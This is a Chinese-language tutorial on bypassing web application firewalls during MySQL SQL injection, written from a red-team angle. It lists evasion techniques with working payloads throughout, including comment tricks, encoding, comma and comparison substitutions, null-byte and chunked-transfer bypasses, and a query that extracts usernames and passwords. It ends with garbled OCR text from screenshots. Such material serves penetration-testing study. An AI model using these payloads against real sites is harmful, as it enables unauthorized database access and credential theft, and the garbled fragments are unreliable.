SQL注入绕WAF研究
[bookmark: u1e9d8a9b]前言：在如今WAF泛滥的一个互联网环境中，一名优秀的红队攻击手应掌握各种绕WAF手法，如此才能与WAF对抗，拿下目标Flag，本文以Mysql数据库举例，对SQL注入绕WAF进行研究分析
[bookmark: HNl15]1、WAF相关概念
[bookmark: u9164b516]WAF，全称：Web Application Firewall，也称为网站应用级入侵防御系统。
[bookmark: u8507639c]大白话的说，就是利用它内设的安全策略来为web应用程序提供保护的一款产品，那么对于我们来说，如果突破它的安全策略就显得尤为重要。
[bookmark: uc8da47c5]作为渗透测试人员都知道，在渗透的过程当中，最核心的就是构造自己的输入，然后分析目标返回的结果，从而判断出是否存在相应的问题。
[bookmark: u83856def]那么WAF的基础检测机制也基于此——检测用户输入的内容，如果输入的内容中包含了一些危险字符，或者说有威胁性的字符，那么WAF就会对此进行拦截。
[bookmark: ue1819b02]所以说，改变我们输入的内容形式，就是突破WAF的关键点。
[bookmark: wJrjq]1.1、WAF的介绍及分类
[bookmark: ub3b12123]waf分为硬件防火墙和软件防火墙,其中硬件防火墙出自各大安全公司,价格昂贵,一般大公司才会购买;软件防火墙相对便宜,小公司使用较多。
[bookmark: u91a1c9d0]现在国内互联网中常见的waf软件有以下三种:
· [bookmark: u148c5e75]安全狗(更新缓慢容易绕过)
· [bookmark: uec222a70]宝塔(免费版和收费版)
· [bookmark: u9fca1f74]阿里云盾(阿里云服务器自带,也叫安骑士)
· [bookmark: u552fd966]云waf(云锁,360安全云等)
[bookmark: Eif6t]1.2、WAF的常见特征
[bookmark: u77c19198]之所以要谈到WAF的常见特征，是为了更好的了解WAF的运行机制，这样就能增加几分绕过的机会了。本文不对WAF做详细介绍，只谈及几点相关的。
[bookmark: u90aca015]总体来说，WAF(Web Application Firewall)的具有以下四个方面的功能：
[bookmark: u1f3f3226]1. 审计设备：用来截获所有HTTP数据或者仅仅满足某些规则的会话
[bookmark: u512100fa]2. 访问控制设备：用来控制对Web应用的访问，既包括主动安全模式也包括被动安全模式
[bookmark: ud4b31dfa]3. 架构/网络设计工具：当运行在反向代理模式，他们被用来分配职能，集中控制，虚拟基础结构等。
[bookmark: u8250e2d5]4. WEB应用加固工具：这些功能增强被保护Web应用的安全性，它不仅能够屏蔽WEB应用固有弱点，而且能够保护WEB应用编程错误导致的安全隐患。
[bookmark: RSOb0]1.3、WAF的常见特点
[bookmark: u549dab39]异常检测协议：拒绝不符合HTTP标准的请求
[bookmark: uc5fe3214]增强的输入验证：代理和服务端的验证，而不只是限于客户端验证
[bookmark: uba5337b9]白名单&黑名单：白名单适用于稳定的We应用，黑名单适合处理已知问题
[bookmark: u5255cd4c]基于规则和基于异常的保护：基于规则更多的依赖黑名单机制，基于异常更为灵活
[bookmark: uf00f96b2]状态管理：重点进行会话保护
[bookmark: u64af4956]另还有：Coikies保护、抗入侵规避技术、响应监视和信息泄露保护等
[bookmark: ly894]2.ByPass常见手法
1. [bookmark: ud49921ec]大小写混合
2. [bookmark: uabd2f4c4]替换关键字
3. [bookmark: u5987a1eb]使用编码
4. [bookmark: u400b9ed7]使用注释
5. [bookmark: ud2809356]等价函数与命令
6. [bookmark: u2147c3a4]使用特殊符号
7. [bookmark: u92fb4aef]HTTP参数控制
8. [bookmark: u87141fb9]缓冲区溢出
9. [bookmark: u5f35d973]整合绕过
[bookmark: XL4p1]2.1 大小写混合
[bookmark: u1e0f2239] 这种绕过方式适用于阻塞过滤器不聪明的时候，也就说当阻塞过滤器的过滤规则只是对关键字符进行限制约束而过滤过程中并没有对关键字组成进行深入分析，而导致只是对关键字整体进行了过滤的问题。。。
[bookmark: zveH0]2.2、使用编码
[bookmark: u54bd3399]如常见的使用HEX编码，或者使用ASCII编码再使用特定函数进行解码，也可以尝试Base64编码进行绕过
[bookmark: u42138511][bookmark: u312d921d][image: ]
[bookmark: jMABk]2.3、使用注释绕过
[bookmark: u0696f112]在此之前，需要了解一下注释符以及其它空白符
	[bookmark: u41ccd631][bookmark: wV59R] 数据库
	[bookmark: ueba2a65d]MySQL
	[bookmark: u2cd03db4]Oracle
	[bookmark: uc7da3191]MSSQL

	[bookmark: ud3f233d4]注释符
	[bookmark: ude684f0c]/*/、#、/!/、/!50000xx*/、--、-- - 、--+
	[bookmark: u4f4353a4]--、/**/ --%0a-
	[bookmark: u8f8aed35]--、/**/、--%0a-

	[bookmark: u114a276f]空白字符
	[bookmark: u2c4cf340]%09%0A%0B%0C%0D%20
	[bookmark: ub41a32ee]%00%09%0A%0B%0C%0D%20
	[bookmark: u75cdaf9e]%00-%20


[bookmark: MuCC1]%0a 			属于换行
/**/ 			属于注释，其中的语句不会执行
/*!*/			属于内联注释，可以执行 /*!50001and1=1*/ 当Mysql版本大于5.00.01时即可执行
可使用语句绕过
/*!50001and-- qwe/*%0a1=1*/

其中详解
-- qwe注释了/* 因为-- qwe是单行注释，因此当遇到%0a换行时就不会再接着注释了
其中因为1=1写在/**/里面，WAF认为他是一个注释，所以不会管，但其实我们以及注释了这个/*
结尾的*/是闭合开始时的/*!   

[bookmark: u1e470f0c][bookmark: ufa2da676][image: ]
[bookmark: u0d2670cb]测试可绕最新版傻狗
[bookmark: u469ef33d][bookmark: u6122fe98][image: ]
[bookmark: ua7cc1c91][bookmark: u4ef51856][image: ]
[bookmark: ude58c9be]在此处无论写什么都可以绕过检测
[bookmark: PqXeI]2.4、绕过空格过滤
[bookmark: u99c9a4a2]如果在尝试注入过程中，发现空格被过滤，那么可以去尝试括号是否被过滤，如果括号未被过滤，那么就可以尝试用括号进行绕过。
[bookmark: udabbbdb5]因为在mysql中，括号是用来包围子查询的。因此，任何可以计算出结果的语句，多可以用括号围起来。而括号的两端可以没有多余的空格
[bookmark: u4f3cfc8d]例如：
[bookmark: frkLC]Select(user())fromdualwhere(1=1)and(2=2)

[bookmark: uaab9537a]这种过滤方式常常用于基于时间的盲注
[bookmark: uba87cd5d]例如：
[bookmark: HVPeP]?id=1'and(sleep(ascii(sbustr(database()from(1)for(1)))=109))%23

[bookmark: ua098b4f8]其中from(1)、for(1)属于逗号绕过
[bookmark: u4a329a85]其它方式
[bookmark: GytBh]两个空格代替一个空格
用tab代替空格
%0a代替空格
/**/ 替代空格

[bookmark: YUG1l]2.5、引号绕过
[bookmark: uc6dd986b]只针对这种情况有效
[bookmark: leaoY]Select column_name from information_schema.columns where table_name= ’users’

Users的十六进制字符串是7573657273，那么利用十六进制编码绕过后的查询语句就变成了
Select column_name from information_schema.columns where table_name=7573657273

[bookmark: u34363817][bookmark: U5iH5]2.6、逗号绕过
[bookmark: ub893656d]在使用盲注的时候，需要使用到substr()，mid()，limit。这些子句方法都需要使用到逗号。
[bookmark: u62fab329]对于substr()和mid()这两个方法都可以使用from for方式来尝试绕过：
[bookmark: Q0ysJ][bookmark: _GoBack]Select substr(database() from 1 for 1);

Select mid(database() from 1 for 1);

[bookmark: u1f4822b6]使用join
[bookmark: E0IeR]Union select 1,2
等价于
union select * from(select 1)a join (select 2)b

[bookmark: u3c869a0c][bookmark: u48bd9f06][image: ]
[bookmark: u3adf4450][bookmark: ufb0c13b2][image: ]
[bookmark: u64123ec2]使用like
[bookmark: ssEjY]Select ascii(mid(user(),1,1))=80
等价于
select user() like ‘r%’

[bookmark: ua6fbe5f7]使用offset绕过
[bookmark: YlU6k]Select * from news limit 0,1 
等价于
select * from news limit 1 offset 0

含义是从第0条（不包括）数据开始取出1条数据，limit后面跟的是1条数据，offset后面是从第0条开始读取，即读取第1条

[bookmark: u26f00989][bookmark: ud69d1279][image: ]
[bookmark: u205fb7fd][bookmark: ue07f525b][image: ]
[bookmark: iLvrr]2.7、比较符号(<>)绕过
[bookmark: u0e9af691]在SQL盲注中常常会使用到<>，当比较字符被拦截时，可以尝试以下方法绕过
[bookmark: ubc189fc4]Greatest()：返回最大值
[bookmark: e1FXM]使用N个参数，并返回N个参数中的最大值
Greatest(value1,value2,…)

[bookmark: u90a4fe91][bookmark: u8edaeddc][image: ]
[bookmark: u68b9fbc4]Least()：返回最小值
[bookmark: u32a738b4]上面两个函数的比较规则
[bookmark: RnfiB]如果任何参数为NULL，则两个函数都将立即返回NULL，不进行任何比较

如果在INT或REAL上下文中使用函数，或者所有参数都是整数值或REAL值，那么他们将分别作为INT或REAL来比较

如果参数有数字和字符串组成，则函数将他们作为数字比较

如果至少有一个参数是非二进制(字符)字符串，则函数将参数作为非二进制字符串来比较

在所有其他情况下，函数将作为二进制字符串进行比较

[bookmark: u844ce5e5]同样是在使用盲注的时候，在使用二分法查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符，那么就需要使用greatest来尝试绕过：
[bookmark: CVJaG]Select * from users where id=1 and ascii(substr(database(),1,1))>97

等价于

Select * from users where id=1 and greatest(ascii(subatr(database(),1,1)),64)=64

使用between、and

Between a and b;

Between 1 and 1  ===>  =1

[bookmark: ue0548f35][bookmark: u209e17dc][image: ]
[bookmark: emovc]2.8、Or and xor not绕过
[bookmark: s9DnQ]And == &&

Or == ||

Xor = |

Not = !

[bookmark: Nzrcn]2.9、注释符号（# --+）过滤绕过
[bookmark: vp4gY]Id = 1' union select 1,2,3 || '1

[bookmark: yDrCs]2.10、+绕过
[bookmark: p84QH]使用like、rlike、regexp或者使用<或者>

[bookmark: UunKt]2.11、空字节绕过
[bookmark: u7bb5e83c]通常的输入过滤器都是在应用程序之外的代码实现的。比如入侵检测系统(IDS)，这些系统一般是由原生编程语言开发而成的，比如c++，为什么空字节能起作用呢？就是因为在原生编程语言中，根据字符串起始位置到第一个出现空字节的位置来确定字符串长度，所以说空字节就有效终止了字符串。
[bookmark: u3517c282]只需要在过滤器组织的字符串前面提供一个采用URL编码的空字节即可，例如：
[bookmark: qUyRv]1.%00' union select username,password from users where username='admin' --

[bookmark: UTs9t]2.11、垃圾数据绕过
[bookmark: u4eb83dfd]在很多GET传参的网站，过滤函数对传入的内容有长度限制的时候，会导致GET传入一些垃圾数据的时候，长于过滤的长度的时候就可以实现绕过
[bookmark: zoBKX]2.12、等价函数绕过
[bookmark: AZWzC]hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例：substring()和substr()无法使用时：?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74　

或者：
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

[bookmark: e3Go1]2.13、参数污染
[bookmark: u147b0c19][bookmark: ua22ae19c]在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值，不同的语言有不同的特性。可以利用这点绕过一 些 waf 的拦截。以下是其他污染特性[image: ]
[bookmark: ufa5c4ed6][bookmark: ucd5877fa][image: ]
[bookmark: UhUld]2.14、脏数据溢出绕过
[bookmark: ua49dd381]数据太多超过waf检测范围，然后造成绕过,前面填垃圾数据后面填要注入的SQL语句，如果是GET传参，参数值超过GET所能运行的长度可能无法利用，所以最好是POST传参(前提是对方支持POST传参)
[bookmark: u33f7023a][bookmark: u6cb34b9d][bookmark: u34ee8e11][image: ][image: ]
[bookmark: uxISO]2.15、分块传输
[bookmark: u8df54c9f]分块传输编码是只在HTTP协议1.1版本中提供的一种数据传送机制。
[bookmark: u4d4e4215]以往HTTP的应答中数据是整个一起发送的，并在应答头里Content-Length字段标识了数据的长度，以便客户端知道应答消息的结束。分块传输编码允许服务器在最后发送消息头字段。
[bookmark: u0dee35d5][bookmark: u5e647b2a]例如在头中添加散列签名。对于压缩传输传输而言，可以一边压缩一边传输，将本该一次性传输的完整数据分块传输，从而绕过waf的检测。 [image: ]
[bookmark: UiH3n]2.16、参数拆分绕过
[bookmark: uba64d7c2]配合多个参数的传参，将注入的内容拼接到同一条 SQL 语句中，可以将注入语句分割插入绕过waf拦截。
[bookmark: ue92323c2][bookmark: u83cd78bf][image: ]
[bookmark: mECf8]2.17、白名单绕过
[bookmark: u0f778704]有些 WAF 会自带一些文件白名单，对于白名单 waf 不会拦截任何操作，比如白名单目录，白名单文件等等，所以可以利用这个特点，可以进行突破。
[bookmark: uf08a105b][bookmark: u88bdac59][image: ]
[bookmark: AdSk1]2.18、花括号绕过
[bookmark: ud01317e3][bookmark: u235e3898][image: ]
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nysql> select 1.2;
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Inysql> select * from userinfo limit 8,13

[ rou in set <9.80 sec>
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Inysq1> select * from userinfo limit 1 offset B;

tid it username ! passuord

[ rou in set <9.80 sec>
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nysql> select greatest<1.2,3>;

greatest(1.2,3>
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Response

[ Headers | Hex | T | Rencer |

X-Powered-By: PHP/5.4.16
Cache-Control: no-cache
Pragma: no-cache
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| initial-scale=1.0%>
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Host: injectx1.lab.aglab.cn

Drigin: httpsAnjectx1.lab.aqlab.cn

Content-Type: application/s-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKiv537.36
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